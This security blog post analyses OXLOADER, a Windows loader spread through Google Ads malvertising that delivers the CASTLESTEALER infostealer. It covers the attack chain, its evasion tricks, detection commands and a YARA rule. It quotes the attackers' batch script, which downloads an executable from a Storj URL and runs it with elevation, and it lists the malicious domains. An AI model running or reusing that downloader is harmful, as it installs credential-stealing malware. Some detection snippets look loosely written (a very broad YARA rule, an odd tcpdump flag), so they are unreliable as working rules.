Listen to this Post
Introduction
A previously undocumented Windows malware loader tracked as OXLOADER has been discovered delivering the CASTLESTEALER infostealer through malicious Google Ads campaigns, achieving remarkably low detection rates across static antivirus engines and automated sandbox environments. This sophisticated attack chain combines multiple obfuscation layers—including control-flow flattening, opaque predicates, and mixed Boolean-Arithmetic (MBA) obfuscation—with abuse of the Windows .reloc section to stage shellcode, enabling the loader to fly under the radar of traditional security tools. The campaign, codenamed REF8372, represents a growing trend of threat actors leveraging legitimate platforms like Google Ads and Storj cloud storage to distribute malware while evading domain-based reputation filtering.
Learning Objectives
- Understand the complete OXLOADER infection chain, from malicious Google Ads to CASTLESTEALER payload deployment
- Learn the evasion techniques employed by OXLOADER, including .reloc section abuse, anti-VM checks, and code obfuscation
- Identify detection and mitigation strategies to protect against malvertising-driven infostealer attacks
You Should Know
- The OXLOADER Infection Chain: From Google Search to System Compromise
The attack begins when a user searches for software like the LTS version of Node.js and clicks a sponsored Google Ads result. The malicious ad redirects victims through an intermediary domain (app[.]miloyannopoulos[.]com/download?subid1=download) which responds with a 302 redirect to a payload URL hosted on Storj, a legitimate decentralized cloud storage platform.
The initial payload is a Windows batch script (BATPackageBuilderSetup.bat) hosted on Storj’s link-sharing service. When executed, this script displays a fake software installation wizard UI to appear legitimate while silently downloading the next-stage executable via PowerShell and launching it with `-Verb RunAs` to trigger a User Account Control (UAC) elevation prompt.
Technical Breakdown of the Batch Script:
@echo off powershell -Command "Invoke-WebRequest -Uri 'https://link.storjshare.io/raw/jwwvr4oskkkjsgevt774ta62ehya/ruslan/aBsvwbdas.exe' -OutFile '%TEMP%\update.exe'" powershell -Command "Start-Process '%TEMP%\update.exe' -Verb RunAs"
This script:
- Downloads the OXLOADER executable from Storj using PowerShell’s `Invoke-WebRequest`
2. Saves it to the temporary directory
- Executes it with elevated privileges using `-Verb RunAs`
The advertiser account was registered under the verified name “ВОЛОДИМИР ТЕРЕЩЕНКО” (Volodymyr Tereshchenko), purportedly based in Ukraine. The campaign targeted US-based victims, with the ad last shown on April 23, 2026, before Google removed the advertiser and associated campaigns on May 14, 2026.
2. OXLOADER’s Evasion Techniques: How It Stays Undetected
OXLOADER is engineered with evasion as a core feature, employing multiple layers of obfuscation and anti-analysis checks.
Obfuscation Layers:
- Control-Flow Flattening (CFF): Restructures the program’s control flow to make static analysis significantly more difficult by flattening conditional branches into a single switch-based dispatch loop
- Mixed Boolean-Arithmetic (MBA) Obfuscation: Replaces simple arithmetic and logical operations with complex, semantically equivalent expressions that are harder for analysts to interpret
- Opaque Predicates: Inserts conditions that are always true or false but are difficult to determine statically, complicating reverse engineering efforts
- Self-Modifying Decryption Stubs: Code that modifies itself during execution to decrypt and reveal the actual malicious payload
.reloc Section Abuse:
The loader abuses the Windows .reloc section—normally used for address relocation in Portable Executable (PE) files—to stage shellcode. This unconventional technique allows the malware to hide malicious code within legitimate-looking sections of the binary, evading static file analyzers that typically focus on more obvious sections like .text or .data.
Anti-VM and Anti-Sandbox Checks:
Before executing anything meaningful, OXLOADER runs five separate checks to confirm it is not running inside a sandbox or virtual machine:
- CPU Core Count: Checks for at least three CPU cores
- Physical RAM: Verifies at least 3 GB of physical memory
- Display Refresh Rate: Confirms a refresh rate above 20 Hz
- Language Check: Includes Russian-language and CIS-region exclusions, suggesting the threat actor is Russian-speaking and financially motivated
- Additional Environmental Checks: Other environment-specific verifications to detect analysis tools
The first OXLOADER sample analyzed masqueraded as API Monitor from rohitab.com, while a second variant discovered on May 13, 2026, masqueraded as a Node.js installer binary. Both variants retained the word “node” in their filenames to maintain the lure theme.
3. CASTLESTEALER: The .NET Infostealer Payload
CASTLESTEALER is a .NET-based information stealer that works alongside OXLOADER to infect systems and exfiltrate sensitive data. Following execution of the batch script, Elastic Defend detected behavioral patterns including “Microsoft Common Language Runtime Loaded from Suspicious Memory,” indicating the .NET-based payload.
Capabilities of CASTLESTEALER:
- Credential Harvesting: Steals passwords, session tokens, and browser-stored credentials
- Cryptocurrency Theft: Targets cryptocurrency wallet files and extension data
- Telegram Session Theft: Grabs Telegram session files for account takeover
- Exfiltration: Sends stolen data to attackers over encrypted channels
CASTLESTEALER was previously distributed alongside CastleLoader through a ClickFix-style lure masquerading as a free image-editing tool as part of a campaign codenamed “BackgroundFix”. CastleLoader is attributed to a threat activity cluster known as GrayBravo.
Detection of CASTLESTEALER Using PowerShell:
Security analysts can use the following PowerShell commands to check for suspicious .NET CLR activity and memory-resident payloads:
Check for suspicious PowerShell download patterns in event logs
Get-WinEvent -LogName "Microsoft-Windows-PowerShell/Operational" | Where-Object { $_.Message -match "Invoke-WebRequest|DownloadFile" }
Monitor for suspicious .NET CLR loading
Get-Process | Where-Object { $_.Modules -match "clr.dll|mscoree.dll" }
Check for suspicious outbound connections
netstat -anob | findstr ESTABLISHED
Examine scheduled tasks for persistence
schtasks /query /fo LIST /v | findstr "update|node|api"
- Malvertising as an Attack Vector: Lessons from REF8372
The REF8372 campaign demonstrates how threat actors are increasingly leveraging malvertising—malicious advertisements on legitimate platforms—to distribute malware at scale.
The Attack Flow:
- Search Engine Manipulation: Users searching for “lts version of node.js” encounter sponsored results
- Fake Landing Page: Victims are directed to
node-js[.]prentiva99[.]info, a site designed to impersonate a legitimate Node.js deployment platform - Intermediary Redirect: The user is redirected through `app[.]miloyannopoulos[.]com`
4. Storj-Hosted Payload: A batch script is downloaded from Storj’s legitimate link-sharing service - Execution and UAC Bypass: The script executes the next-stage payload with elevated privileges
Why Malvertising Works:
- Trust in Sponsored Results: Users often trust the top search results, especially sponsored ones
- Legitimate Platform Abuse: Using Google Ads and Storj allows attackers to bypass domain-based reputation filters
- Verified Advertiser Accounts: The advertiser account was verified, adding a false sense of legitimacy
- Geographic Targeting: The campaign specifically targeted US-based victims
Defensive Recommendations:
- Treat sponsored search results for developer tools with extra scrutiny
- Ensure endpoint behavioral detection is active rather than set to monitor-only mode
- Always verify software downloads directly against official vendor websites
- Implement network-level blocking of known malicious domains and Storj-based payload delivery patterns
5. Detection and Mitigation Strategies
While OXLOADER demonstrates impressive evasion capabilities, there are several detection and mitigation strategies security teams can implement.
Endpoint Detection and Response (EDR) Configuration:
Elastic Defend successfully detected the entire attack chain when policy was set to detect mode, triggering multiple behavioral rules including “Microsoft Common Language Runtime Loaded from Suspicious Memory”. Organizations should ensure their EDR solutions are:
- Configured in active prevention mode, not just detect-only
- Tuned to monitor for suspicious CLR loading patterns
- Set to alert on PowerShell-based downloads and execution
Windows-Specific Detection Commands:
Check for suspicious batch script execution
Get-WinEvent -LogName "Security" | Where-Object { $<em>.Id -eq 4688 -and $</em>.Message -match "cmd.exe..bat" }
Monitor for UAC elevation prompts
Get-WinEvent -LogName "Security" | Where-Object { $<em>.Id -eq 4670 -or $</em>.Id -eq 4688 -and $_.Message -match "RunAs" }
Check for suspicious scheduled tasks
schtasks /query /fo CSV | ConvertFrom-CSV | Where-Object { $_.TaskName -match "update|node" }
Monitor for outbound connections to Storj domains
Get-WinEvent -LogName "Microsoft-Windows-Sysmon/Operational" | Where-Object { $_.Message -match "storjshare.io" }
Linux Detection (for cross-platform environments):
Monitor for suspicious network connections sudo netstat -tunap | grep ESTABLISHED Check for unusual outbound connections sudo tcpdump -i any -1 'host <suspicious_ip>' Monitor for unusual process execution sudo auditctl -a always,exit -F arch=b64 -S execve -k process_execution
YARA Rules for OXLOADER Detection:
Security teams can deploy YARA rules to detect OXLOADER samples based on their characteristics:
rule OXLOADER_Reloc_Section_Abuse {
meta:
description = "Detects OXLOADER samples abusing .reloc section"
author = "Security Team"
date = "2026-06-27"
strings:
$reloc_abuse = { 2E 72 65 6C 6F 63 } // ".reloc"
$suspicious_size = { 00 00 00 20 } // Suspicious section size
condition:
uint16(0) == 0x5A4D and $reloc_abuse and filesize < 10MB
}
6. The Evolving Threat Landscape: What OXLOADER Reveals
OXLOADER represents a significant evolution in malware loader technology. Elastic Security Labs noted that “the code obfuscation, anti-VM measures, benign-looking code used to masquerade its binaries, and unique staging techniques reflect deliberate engineering choices to evade analysis”.
Key Observations:
- Low Detection Rates: OXLOADER operates with remarkably low detection rates across static engines and sandbox detonations
- Early Operational Phase: The loader is in an early operational phase, but the engineering behind it suggests this family is worth watching
- Financial Motivation: CIS-region exclusions and Russian language checks point to a financially motivated, Russian-speaking threat actor
- No Prior Public Reporting: Elastic Security Labs found no prior public reporting on this family before their discovery
Technical Analysis of OXLOADER’s Staging Process:
The loader uses DonutLoader to deliver the .NET-based CASTLESTEALER payload in memory, evading traditional detection mechanisms through deliberate engineering choices. This in-memory execution technique allows the malware to avoid writing the payload to disk, making it harder for traditional file-based antivirus solutions to detect.
What Undercode Say
- OXLOADER’s use of .reloc section abuse represents a novel evasion technique that security vendors must adapt to detect; traditional static analysis focusing on .text and .data sections is no longer sufficient
- The malvertising campaign demonstrates that even verified advertiser accounts on legitimate platforms like Google Ads can be weaponized, highlighting the need for more rigorous ad vetting processes
- The multi-stage attack chain—from search query to batch script to loader to infostealer—shows how threat actors are increasingly layering their attacks to bypass security controls at each stage
- The combination of control-flow flattening, MBA obfuscation, and anti-VM checks makes OXLOADER a formidable threat that requires behavioral detection rather than signature-based approaches
- Organizations should prioritize EDR solutions with behavioral detection capabilities over traditional antivirus, as static engines failed to detect OXLOADER
- The use of legitimate services like Storj for payload hosting represents a growing trend that makes domain-based reputation filtering less effective
- Security teams should monitor for suspicious PowerShell activity, especially Invoke-WebRequest calls to unusual domains
- The Russian-language and CIS-region exclusions strongly suggest a threat actor with ties to Russian-speaking cybercriminal networks
- Endpoint detection policies should be set to prevention mode rather than detect-only to stop attacks like OXLOADER in real-time
- The CASTLESTEALER payload’s ability to steal cryptocurrency wallets and Telegram sessions indicates a financially motivated operation targeting both traditional credentials and crypto assets
Prediction
+1 The discovery and public disclosure of OXLOADER will likely accelerate the development of behavioral detection techniques in EDR solutions, leading to more robust endpoint protection across the industry
-1 Similar malvertising campaigns using Google Ads and legitimate cloud storage services will increase as threat actors replicate OXLOADER’s successful evasion techniques, potentially affecting thousands of users before detection
+1 The attention brought to .reloc section abuse may prompt Microsoft to implement additional security controls or monitoring around PE section manipulation in future Windows updates
-1 Organizations that have not configured their EDR solutions in prevention mode remain at significant risk, as detect-only policies cannot block attacks like OXLOADER in real-time
+1 The campaign’s limited duration (April 23 to May 14, 2026) and Google’s eventual removal of the advertiser demonstrate that platform-based takedowns can be effective when executed quickly
-1 The sophistication of OXLOADER’s obfuscation techniques suggests that the threat actors behind it have significant resources and technical expertise, making it likely they will continue developing new variants
+1 The emergence of OXLOADER will drive innovation in malware analysis tools and techniques, as security researchers develop new methods to counter advanced obfuscation and evasion
-1 The use of .NET-based payloads like CASTLESTEALER may become more prevalent as attackers leverage the flexibility and ease of development offered by the .NET framework for malicious purposes
▶️ Related Video (84% Match):
🎯Let’s Practice For Free:
🎓 Live Courses & Certifications:
Join Undercode Academy for Verified Certifications
🚀 Request a Custom Project:
Secure, high-velocity infrastructure and disruptive technological engineering. Contact our engineering team for high-tier development and proprietary systems:
[email protected]
💎 Smart Architecture | 🛡️ Secure by Design | ⭐ Trusted by Thousands
IT/Security Reporter URL:
Reported By: Flavioqueiroz Oxloader – Hackers Feeds
Extra Hub: Undercode MoN
Basic Verification: Pass ✅
